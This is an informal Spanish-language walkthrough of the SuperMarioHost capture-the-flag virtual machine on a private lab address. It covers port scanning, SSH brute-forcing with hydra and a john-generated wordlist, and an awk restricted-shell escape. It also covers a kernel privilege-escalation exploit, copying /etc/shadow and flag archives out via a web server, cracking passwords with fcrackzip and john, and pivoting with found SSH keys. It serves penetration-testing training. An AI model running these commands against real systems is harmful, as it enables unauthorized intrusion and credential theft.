En primer lugar, vamos a preparar el
entorno. Porque, lo vamos a hacer con metasploit.
Service postgresql start
msfconsole
db_nmap -sS -sV -A -o
/root/supermariohost/supermariohost_nmap 192.168.1.132
Vemos que hay un servidor ssh y un
servidor web en el puerto 8180
Vamos a investigar el servidor web.
nikto -host 192.168.1.132 -port 8180
-output salida_nikto.txt
Aparecen los directorios
/icons/README
Vamos a probar con dirbuster
Hemos encontrado los siguientes
directorios:
/server-status
/vhosts
Cuando trabajamos en un servidor, el
cual, está alojado fuera de nuestra red. Debemos antes añadir el
nuevo servidor al archivo /etc/hosts. De esta manera, podremos
trabajar con él.
Entonces, añadimos al archivo
/etc/hosts
192.168.1.132<tab>mario.supermariohost.local
Así, ya podemos trabajar con el
servidor mario.supermariohost.local.
Si ponemos en el navegador
mario.supermariohost.local:8180
Nos vamos a otra terminal y creamos un
diccionario de personajes de Super Mario Bros.
He llamado al archivo
supermariohost_diccionario_personajes
Los pondremos en minúscula, porque en
el servidor hemos visto que mario estaba en minúscula y, lo más
probable, es que el administrador haya puesto de ese modo todos los
usuarios.
Además, sólo he puesto algunos,
mario, luigi, peach...
Algunos podréis preguntaros, que por
qué no uso el módulo de metasploit ssh_enumusers. Lo he usado, pero
me daba problemas para identificar a los personajes, alguno no
concretaba si existía o no, sólo decía que no se podía conectar.
Creamos un diccionario de posibles
contraseñas.
john
--wordlist=supermariohost_diccionario_personajes --stdout --rules >
diccionario_definitivo
Si queremos, si nos sale muy grande,
podemos dividir el diccionario en otros más pequeños:
split diccionario_definitivo -b 100KB
Que dividiría el archivo en archivos
de 100 Kb.
Ahora
hydra -L
supermariohost_diccionario_personajes -P diccionario_definitvo -t 4
192.168.1.132 ssh
O bien, para ir dividiendo el trabajo
hydra -l personaje -P
diccionario_definitvo -t 4 192.168.1.132 ssh
Nos ha salido que tenemos un usuario:
lugi con contraseña luigi1
Ponemos la password
listamos
ls
Vemos un mensaje:
cat message
No nos deja ni cambiar de directorio,
ni nada, vamos a ver qué comandos nos deja usar, poniendo el signo
de interrogación
?
Entre ellos está el comando awk.
Awk nos permite ejecutar órdenes
awk 'condicion {accion}'
archivo_entrada > archivo_salida
awk tiene su propio lenguaje de
programación.
Usaremos awk para iniciar una shell,
con su comando BEGIN
awk 'BEGIN{system(“/bin/bash”)}'
ponemos
lsb_release -a
para ver la versión de la distribución
Y para ver toda la información
cat /etc/*release
y para saber la versión del kernel
uname -a
La versión del núcleo es 3.13.0-32
generic.
Vamos a intentar escalar privilegios.
Lo descargamos y lo editamos (en otra
terminal), quitando la parte
Lo renombremos como 37292_1
Editamos el archivo en nano
nano 37292_1
y lo guardamos como 37292_2.c
Iniciamos el servidor apache
service apache2 start
y, en la terminal de la máquina
víctima hacemos
después, compilamos
gcc 37292_2.c -o 37292_2
Ejecutamos el exploit
./37292_2
y ponemos
id
Veremos que ya somos root.
En la carpeta /root/ tenemos un
archivo, flag.gz
al ir a descomprimir, vemos que nos
pide una contraseña.
Como ya somos root, podemos poner una
shell más cómoda
/bin/bash
Copiamos flag.zip a /var/www/html/
(Sí, es que antes he estado husmeando)
Ahora, en otra shell (que sería de
nuestra máquina) ponemos
wget 192.168.1.132:8180/flag.zip
Hacemos lo mismo con
/home/luigi/message por si nos sirve para algo (copiarla a
/var/www/html) y descargarla al equipo atacante.
Para craquear la contraseña, usaré
fcrack
fcrackzip -v -D -p
diccionario_definitivo flag.zip
-D indica que se utilizará un
diccionario.
-p Usa cadenas como password o fichero
iniciales.
O bien, si no queremos usar diccionario
fcrackzip -u flag.zip
La opción -u es para que no nos salgan
las contraseñas que no son.
Aplicamos la primera opción (fcrackzip
-v -D -p diccionario_definitivo flag.zip)
Nos da la contraseña, mariomario
unzip flag.txt
Metemos mariomario
Si sale el error “invalid compressed
data to inflate”, significa que no es la contraseña.
Probamos con otro diccionario
Copiamos a nuestro directorio el
diccionario /usr/share/wordlists/rockyou.txt.gz
gunzip rockyou.txt.gz
fcrackzip -u -v -D -p rockyou.txt
flag.zip
Descomprimimos como antes, y metemos la
contraseña ilovepeach
Y ya lo tenemos
Nos dice que hay más usuarios.
Volvamos a la consola de supermariohost
y editemos /etc/passwd
cat /etc/passwd
Encontramos a mario.
tar -cf archivo.tar passwd shadow
shadow~
Copiamos
cp archivo.tar /var/www/html/
Y descargamos a la atacante
Desempaquetamos
tar xvf archivo.tar
Nos hemos descargado los 3 archivos
passwd shadow y shadow~, porque los necesitamos para craquear las
contraseñas.
Añado ilovepeach y mario a
diccionario_mario
Y creamos un diccionario con estas
palabras:
john --wordlist=diccionario_mario
--stdout --rules > diccionario_mario_john
Hacemos
john --wordlist=diccionario_definitivo
shadow
Nos sale
ilovepeach! (mario)
ilovepeach! (root)
Ya tenemos las contraseñas de mario y
de root.
Volvamos a la máquina víctima.
Nos logeamos como root con el comando
su
Encontramos el directorio
/.bak/users/luigi con tres archivos
id_rsa id_rsa.pub message
cat message
Y si hacemos
cat id_rsa.pub
Hay un nuevo usuario warluigi, en un
nuevo host warluigi.
Copiamos y pegamos a la máquina
atacante id_rsa e id_rsa.pub, manteniendo los mismos nombres.
He creado el directorio warluigi (en
atacante) y los he metido allí.
Si hacemos ifconfig
Vemos que tenemos dos interfaces
nuevas, con sus ips.
192.168.122.1
fe80::fc54:ff:fe24:edab/64
La última es ipv6
Si hacemos nmap a cualquiera de las dos
(en el caso de la segunda, hay que poner
fe80::fc54:ff:fe24:edab%eth0) nos dice que están levantadas, pero
que nos están bloqueando.
En la máquina víctima (logeados como
root) ponemos
arp -a
Si intentamos acceder desde la máquina
víctima
Ponemos warluigi (por probar)
Yo he sido impaciente, y he ido
poniendo ls ;-) no hagáis caso.
Nos subimos el exploit de antes.
Y compilamos
gcc 37292_2.c -o 27292_2
Ejecutamos
./37292_2
Ponemos
/bin/bash
Y así tenemos una consola decente.
En el directorio /root/
ls -a
cat .hint.txt
unzip flag2.zip
Ahora, desde una nueva terminal con el
usuario root de supermariohost, lo descargamos.
Una vez descargado, lo descargamos a la
máquina atacante.
Nos descargamos también los ficheros
/etc/shadow y /etc/shadow/~ Pero los descomprimo en una carpeta
aparte para no coincidir con los anteriores.
descomprimo flag2.zip
unzip flag2.zip
Probé la contraseña peachlovesme y
funcionó.
Vamos a por las contraseñas. Para
ello, lo preparamos todo en el nuevo directorio que hemos creado.
Añadimos peachlovesme al
diccionario_definitivo (por si acaso)
Hacemos:
john --wordlist=diccionario_definitivo
shadow